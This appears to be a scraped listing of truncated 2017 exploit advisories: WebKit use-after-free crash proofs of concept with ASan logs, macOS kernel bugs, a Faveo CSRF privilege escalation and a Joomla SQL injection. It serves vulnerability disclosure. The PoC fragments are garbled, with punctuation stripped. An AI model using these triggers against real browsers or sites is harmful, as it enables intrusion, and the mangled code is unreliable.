WebKit: use-after-free in FormSubmission::create (CVE-2017-2460)

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on a nightly version of WebKit. The PoC has also been observed to crash Safari 10.0.2 on Mac. Please note: This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available...

Apple WebKit - FormSubmission::create Use-After-Free Exploit

Exploit for multiple platform in category dos / poc function go object.name = "foo"; input.autofocus = true; output.appendChildinput; form.submit; function eventhandler forvar i=0;i a !-- ================================================================= Preliminary analysis: The bug is in...

Faveo Helpdesk Community 1.9.3 Cross Site Request Forgery

Exploit Title: CSRF / Privilege Escalation Manipulation of Role Agent to Admin on Faveo version Community 1.9.3 Google Dork: no Date: 05-April-2017 Exploit Author: @runggareksya, @yokoacc, @AdyWikradinata, @dickysofficial, @dvnrcy Vendor Homepage: http://www.faveohelpdesk.com/ Software Link:...

WebKit: HTMLInputElement use-after-free (CVE-2017-2454)

There is a use-after-free security vulnerability related to how the HTMLInputElement is handled in WebKit. The vulnerability was confirmed on a nightly build of WebKit. The PoC also crashes Safari 10.0.2 on Mac. PoC: function eventhandler1 input.type = "foo"; function eventhandler2...

Apple WebKit - ComposedTreeIterator::traverseNextInShadowTree Use-After-Free Exploit

Exploit for multiple platform in category dos / poc function go d.open = false; d.innerHTML = "foo"; d.open = true; foo !-- ================================================================= ASan log: ================================================================= ==570==ERROR: AddressSanitizer:...

WebKit: ComposedTreeIterator::traverseNextInShadowTree use-after-free（CVE-2017-2466）

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on a nightly version of WebKit. The PoC has also been observed to crash Safari 10.0.2 on Mac. PoC: function go d.open = false; d.innerHTML = "foo"; d.open = true; foo ASan log: ==570==ERROR:...

WebKit: Negative-size memmove in HTMLFormElement (CVE-2017-2459)

There is a negative-size memmove security vulnerability in WebKit. The vulnerability was confirmed on a nightly build of WebKit. The PoC has also been observed to crash Safari 10.0.2 on Mac. PoC Note: It might take a couple of refreshes to trigger the bug: function go var iframe =...

WebKit: table use-after-free（CVE-2017-2471）

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on a nightly version of WebKit. The PoC has also been observed to crash Safari 10.0.3 on Mac. PoC: -webkit-border-image: urlfoo 1 5 1 63 repeat; -webkit-flow-into: foo function eventhandler var a;...

WebKit: use-after-free in RenderLayer（CVE-2017-2455）

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the latest nightly build of WebKit. The PoC also crashes Safari 10.0.2 on Mac. PoC and ASan log follow PoC: function go div.style.setProperty"-webkit-flow-into", "foo"; document.execCommand"fontSize",...

macOS/IOS: mach_msg doesn't copy memory in a certain case(CVE-2017-2456)

When sending ool memory via |machmsg| with |deallocate| flag or |MACHMSGVIRTUALCOPY| flag, |machmsg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a...

MacOS/iOS kernel heap overflow in bpf (CVE-2017-2482)

The bpf ioctl BIOCSBLEN allows userspace to set the bpf buffer length: case BIOCSBLEN: / uint / if d-bdbif != 0 error = EINVAL; else uint size; bcopyaddr, &size, sizeof size; if size bpfmaxbufsize size = bpfmaxbufsize; else if size bdbufsize = size; break; d-bdbif is set to the currently attached...

Apple WebKit - table Use-After-Free

Apple WebKit - table Use-After-Free -webkit-border-image: urlfoo 1 5 1 63 repeat; -webkit-flow-into: foo function eventhandler var a; document.execCommand"selectAll", false; output.slot = "foo"; table.deleteCaption; //trigger garbage collector forvar i=0;i foo !--...

Apple WebKit - WebCore::toJS Use-After-Free

Apple WebKit - WebCore::toJS Use-After-Free function freememory var a; forvar i=0;i !-- ================================================================= ASan log: ================================================================= ==25184==ERROR: AddressSanitizer: heap-use-after-free on address...

Apple WebKit 10.0.2 - HTMLInputElement Use-After-Free

function eventhandler1 input.type = "foo"; function eventhandler2 input.selectionStart = 25; !-- ================================================================= ASAN log from WebKit nightly on Mac: ================================================================= ==26782==ERROR: AddressSanitize...

Apple WebKit - 'WebCore::toJS' Use-After-Free

function freememory var a; forvar i=0;i !-- ================================================================= ASan log: ================================================================= ==25184==ERROR: AddressSanitizer: heap-use-after-free on address 0x61a000076e80 at pc 0x000115bea4e0 bp...

Apple WebKit - Negative-Size memmove in HTMLFormElement

function go var iframe = document.getElementById"iframe"; var iframeWindow = window0; var toInsert = div; var iframeBody = iframeWindow.document.body; iframeBody.beforedocument.body; iframe.aftertoInsert; aaaaaaaa !-- ================================================================= Preliminary...

Apple Webkit - 'JSCallbackData' Universal Cross-Site Scripting

globalObject-vm, callback JSC::JSObject callback return mcallback.get; JSDOMGlobalObject globalObject return JSC::jsCastmcallback-globalObject; JSC::JSValue invokeCallbackJSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr& returnedException return...

Apple WebKit 10.0.2 - HTMLInputElement Use-After-Free

Apple WebKit 10.0.2 - HTMLInputElement Use-After-Free function eventhandler1 input.type = "foo"; function eventhandler2 input.selectionStart = 25; !-- ================================================================= ASAN log from WebKit nightly on Mac:...

Apple WebKit - RenderLayer Use-After-Free

Apple WebKit - RenderLayer Use-After-Free function go div.style.setProperty"-webkit-flow-into", "foo"; document.execCommand"fontSize", false, 6; window.requestAnimationFramecb; h1.attachShadowmode: "open"; h1.replaceWith"foo"; function cb var a; //trigger garbage collector forvar i=0;i !--...

Joomla JobGrok Application 3.1-1.2.55 Component - SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: Joomla Component JobGrok Application 3.1-1.2.55 - SQL Injection Date: 2017-04-02 Home : https://extensions.joomla.org/extension/job-grok-app/ Exploit Author: Persian Hack Team Discovered by : Mojtaba MobhaM email protected Home ...